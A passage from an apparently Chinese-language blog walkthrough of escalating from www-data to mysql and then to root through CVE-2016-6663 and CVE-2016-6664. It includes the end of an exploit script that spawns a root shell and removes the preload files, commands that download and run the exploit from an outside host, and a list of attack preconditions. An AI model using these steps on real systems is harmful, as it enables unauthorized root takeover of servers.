echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

必须以mysql权限执行才能成功提为root,可以利用CVE-2016-6663提升为mysql权限的shell执行如下指令

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log

如图可以看到已获得root权限

1.png

0x04回顾

www-data权限提升为mysql的条件

1.已经getshell,获得www-data权限
2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码
3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权

mysql提升为root权限的条件

1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)
2.需要在mysql权限下运行才能利用(可通过上面的方式先获取mysql权限)

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

邮箱地址不会被公开。 必填项已用*标注